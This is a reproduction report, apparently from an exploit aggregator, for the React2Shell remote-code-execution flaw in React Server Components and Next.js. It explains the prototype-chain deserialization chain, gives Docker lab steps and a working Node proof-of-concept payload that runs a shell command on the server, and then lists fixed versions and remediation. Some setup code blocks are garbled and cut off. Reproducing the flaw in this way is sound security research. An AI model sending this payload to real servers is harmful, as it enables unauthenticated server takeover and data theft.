## https://sploitus.com/exploit?id=BAA400F7-0DD5-5CCF-8217-F14248E1F4CF
# React2Shell (CVE-2025-55182) Vulnerability Reproducing Report
> Statement: This report is based on **React / Next.js official vulnerability disclosure** and **local self-built authorized environment**. The reproduction environment is a `localhost` target machine; no real public network targets were involved. The complete PoC is for use only in security research and defense learning. ---
## 1. Vulnerability Overview
**React2Shell** is a **Critical Remote Code Execution (RCE) vulnerability** disclosed and named by React on **December 3, 2025**. It exists in the **Flight protocol** implementation of React Server Components (RSC). Since it allows **unauthenticated attackers** to execute arbitrary commands on the server through a **single HTTP POST request**, and since it can be exploited with **default configuration**, it has a CVSS score of 10.0. On the day of disclosure, it was listed as a known exploited vulnerability (KEV) by CISA and marked as "off-the-shelf exploitable" by several security vendors (Rescana, Loginsoft, Trend Micro, Wiz, etc.).
| Attribute | Value |
|-----------|-------|
| **CVE Number** | CVE-2025-55182 (React)/CVE-2025-66478 (Next.js) |
| **Name** | React2Shell |
| **CVSS v3.1 Score** | **10.0 / 10.0 (Full Score)** |
| **CVSS v4 Score** | 9.3 / 10.0 |
| **Vulnerability Type** | CWE-502 — Deserialization of Untrusted Data |
| **Attack Method** | Single HTTP POST request, **no authentication required** |
| **Affected Components** | `react-server-dom-*` versions 19.x + frameworks that support RSC (e.g., Next.js) |
| **Disclosure Date** | 2025-12-03 |
| **Official Recommendations** | Immediately upgrade to the fixed version (see Section 5)
---
## 2. Why It Is a "Full Score" Vulnerability (Severity Analysis)
React2Shell achieves a full score of 10.0 because it meets **three high-risk attack criteria**:
1. **No Preconditions Required**: Attackers do not need an account, token, or any prior permissions. Anyone who can access the web service can launch an attack. 2. **Exploitation Without Special Configurations**: A Next.js application generated using the `create-next-app` tool, without any additional configurations, **exists immediately at risk**. Developers can be compromised without making any mistakes. 3. **Executable Arbitrary Code**: Once exploited, attackers can execute any system command on the server—possibly used for:
- Installing malware/mining programs
- Encrypting files with ransomware
- Stealing sensitive data like environment variables and keys
- Completely taking control of the server
---
## 3. Vulnerability Mechanics (Technical Analysis)
### 3.1 Root Cause: Unscrutable Data Deserialization
The React Flight protocol deserializes data received from the client to understand the client’s intent. The problem is that React does not verify whether the data’s properties are "owned" by the object itself; instead, it blindly trusts them.
Attackers exploit this by constructing **tricked data** to manipulate the server-side JavaScript behavior, ultimately injecting their own code. ### 3.2 Four-Step Attack Chain
The reproduced attack chain can be broken down into the classic four steps of deserialization-based RCE attacks:
1. **Deserialization**: Forging a Flight chunk to be treated by the server as a "resolved_model". 2. **Prototype Chain Traversal**: Using `[].constructor.constructor === Function**—any object that follows the `constructor` chain twice will inevitably reach the `Function` constructor (the "ancestor" of all functions). 3. **thenable Disguise**: Masking objects with `.then()` methods, allowing the server to automatically execute malicious logic when the object is awaited. 4. **Function Constructor Execution**: Replacing a supposedly safe function (like `_formData.get`) with a `Function` constructor, allowing array elements (`_prefix`, containing command strings) to be executed as code—equivalent to `eval`. ### 3.3 Key Payload Field Breakdown
| Field | Value | Function |
|-------|-------|-------|
| `.then` | `"$1:__proto__:then"` | Prototype chain traversal: forcing an object to reach `Function` |
| `.status` | `"resolved_model"` | Masquerading as a "resolved_model" to allow trusted logic to proceed |
| `.value` | `{"then":"$B1337"}` | Thenable disguise, allowing `await` to automatically trigger malicious logic |
| `_response._prefix` | Command string (e.g., `execSync("id")`) | The code to be executed |
| `_response._formData.get` | `"$1:constructor:constructor"` | Stealing the get method and replacing it with a `Function` constructor |
> See Section 4 for the complete PoC. ---
## 4.
Replication Steps (Local Authorization Environment)
### 4.1 Environment Requirements
- Docker (used for isolated vulnerability target containers)
- A terminal with access to Docker images (This replication uses Git Bash/Bash syntax)
### 4.2 Setting Up the Vulnerability Target Container (Docker Container)
Run a Node 20 container running **Next.js 15.0.4 + React 19.2.0** (both vulnerable versions), and expose the container port to the attacker machine:
```bash
docker run -d --name react2shell \
-p 3000:3000 \
-v "$(pwd)/react2shell-lab:/app" \
-w /app node:20 bash -c "sleep infinity"
```
> Key point: `-p 3000:3000` exposes the target container’s port to the host machine (attacker machine), achieving true isolation between “attacker machine → target container”.
### 4.3 Installing the Vulnerable Versions (Versions must be precisely specified, no wildcards allowed)
Execute this command inside the container. **Versions must be fixed (no wildcards allowed)**, otherwise `npm install` will automatically upgrade to a secure version, causing the vulnerability to disappear:
```bash
# Inside the container
npm config set registry https://registry.npmmirror.com # Optional: Use domestic mirror for faster downloads
cat > /app/package.json Observe: When running `npm install`, it will indicate that `next@15.0.4` is deprecated (has vulnerabilities) – **this is exactly what we want**. This indicates that the vulnerable version was installed. **Do not run `npm audit fix --force`**, as it will upgrade the version to a secure one, leading to failed replays.
### 4.4 Injecting the Vulnerability to Trigger the Entry Point (Server Action)
The Next.js App Router requires an `app/` directory, and the server action initiates the Flight protocol parsing through `"use server"`. **This is the prerequisite for triggering the vulnerability**:
```bash
# Server-side action (initiates Flight protocol, triggers vulnerability)
cat > /app/app/actions.js /app/app/page.jsx
React2Shell: Replicates the target container
Next.js 15.0.4 + React 19.2.0 (vulnerable version)
Calls the Server Action
Result: {result}
);
}
EOF
### 4.5 Starting the Target Container Service
```bash
cd /app && npm run dev
```
If you see `✓ Ready in ... (fast)`, and `Local: http://localhost:3000`, the target container is running on port 3000.
### 4.6 The Attacker Machine Initiates an Attack (Sending a Malicious Payload)
The attacker sends a carefully crafted multipart POST request to the target container. **Note**: Since the payload contains many `$`, `{}`, and quotes, it must be constructed using a script. Do not use `curl` directly (shell escaping may corrupt the JSON data). Here’s a sample PoC script from the attacker’s side (implemented in Node, sending the payload exactly as a `FormData` object):
```javascript
const TARGET = 'http://localhost:3000';
const chunk0 = {
'then': '$1:__proto__:then', // Prototype chain traversal
'status': 'resolved_model', // Masquerading as a resolved model
'reason': -1,
'value': '{"then":"$B1337"}', // Thenable masquerading
'_response': {
// Executes commands on the target; uses getBuiltinModule to adapt for Node 20
'_prefix': 'process.getBuiltinModule("child_process").execSync("touch /tmp/rce_pwned");',
'_formData': { 'get': '$1:constructor:constructor' } // Stolen constructor used
}
};
const form = new FormData();
form.append('0', JSON.stringify(chunk0)); // Main payload
form.append('1', '"$@0"'); // Self-reference
form.append('2', '[]'); // Complete the payload structure
fetch(TARGET, {
method: 'POST',
headers: { 'Next-Action': 'x', 'Accept': 'text/x-component' },
body: form
).catch(e => console.log('Error:', e.message));
```
> The command `touch /tmp/rce_pwned` in `_prefix` is only used to create a file on the target container for RCE verification. You can replace it with commands like `id` or `whoami` for display purposes.
### 4.7 Verifying that RCE is Successful
After sending the payload, check whether the command was executed inside the target container:
```bash
```
docker exec react2shell ls -la /tmp/rce_pwned
```
**If the file exists** (e.g., `-rw-r--r-- 1 root root 0 ... /tmp/rce_pwned`), it indicates that the malicious request from the attacker has caused the target machine to execute the `touch` command—**RCE is confirmed, the vulnerability has been exploited**. ---
## 5. Impact and Fixing Solutions
### 5.1 Affected Versions
**React Server Components package** (`react-server-dom-*`):
- `react-server-dom-webpack`
- `react-server-dom-parcel`
- `react-server-dom-turbopack`
Affected versions: **19.0.0 – 19.2.0** (and derived versions). **Downstream frameworks/packagers** that rely on React Server Components:
- **Next.js** (App Router)
- Vite / Parcel / React Router / RedwoodSDK / Waku, etc.
**Versions Not Affected**:
- Pure client-side rendering (no Server Rendering)
- Frameworks/packagers that do not use RSC
- Next.js’s **Pages Router** (not App Router)
- Specific older versions of Next.js 13/14
### 5.2 Fixing Versions (Official recommendations for upgrades)
**React RSC package**:
| Affected Version | React2Shell Fix Version | **Recommended Final Version (Includes Follow-up CVEs)** |
|------------------|-------------------------|----------------------------------------------------|
| 19.0.0 | 19.0.1 | **19.0.3** |
| 19.1.0 / 19.1.1 | 19.1.2 | **19.1.4** |
| 19.2.0 | 19.2.1 | **19.2.3** |
**Next.js (App Router)**:
| Version | React2Shell Fix Version | **Recommended Final Version (Includes Follow-up CVEs)** |
|--------|-------------------------|----------------------------------------------------|
| 14.x | 14.2.35 | 14.2.35 |
| 15.0.x | 15.0.5 | **15.0.7** |
| 15.1.x | 15.1.9 | **15.1.11** |
| 15.2.x | 15.2.6 | **15.2.8** |
| 15.3.x | 15.3.6 | **15.3.8** |
| 15.4.x | 15.4.8 | **15.4.10** |
| 15.5.x | 15.5.7 | **15.5.9** |
| 16.0.x | 16.0.7 | **16.0.10** |
> **Note**: The official disclosed two additional vulnerabilities on December 11, 2025 (CVE-2025-55183 source code leakage, CVE-2025-55184 DoS). Only the initial version of React2Shell (e.g., React 19.2.1 / Next 15.0.5) may still be affected by subsequent vulnerabilities. **It is strongly recommended to upgrade to the “Recommended Final Version”**（React 19.0.3 / 19.1.4 / 19.2.3 and corresponding Next.js versions). ### 5.3 One-Click Fixes
Vercel has provided a one-click fixing tool to scan dependencies and upgrade them to the correct fixing versions:
```bash
npx fix-react2shell-next
```
### 5.4 Mandatory Actions After Fixing
Due to the RCE vulnerability, the attacker **may have accessed the server**. After fixing, you must:
1. **Rotate all application keys/secret keys** (Sensitive information stored in environment variables or hardcoded in Server Functions may have been stolen). 2. Check if there are any abnormal processes, files, or backdoors on the server (e.g., mining machines, webshells). 3. Investigate suspicious access logs and abnormal command execution traces. ### 5.5 Fixing Principles
Since the root cause is “not verifying whether data properties are object own properties”, the fix involves explicitly calling `hasOwnProperty()` during property traversal, using a cached and trusted version of `hasOwnProperty()`. This prevents being tricked by `value.hasOwnProperty()`, which can be contaminated by the prototype chain. This blocks the path through `Function` during prototype chain traversal. ---
## 6. References
- React official disclosure (December 3, 2025): Critical Security Vulnerability in React Server Components
- Vercel official vulnerability description: CVE-2025-55182 summary / `vercel.com/changelog/cve-2025-55182`
- Next.js security announcement: `nextjs.org/blog/CVE-2025-66478`
- React one-click fixing: `vercel-labs/fix-react2shell-next`
- Third-party analysis: Rescana threat intelligence, Loginsoft technical depth analysis, Trend Micro / Wiz / Beazley security announcements
---
> ⚠️ **Disclaimer**: This report and PoC are only used for **local authorized environments** for security research and defense verification. Do not use them on unauthorized targets. All experiments were conducted within the `localhost` target container; no real public network targets were involved.
[source-iocs-preserved url=http://localhost:3000/,http://localhost:3000`，靶机即在]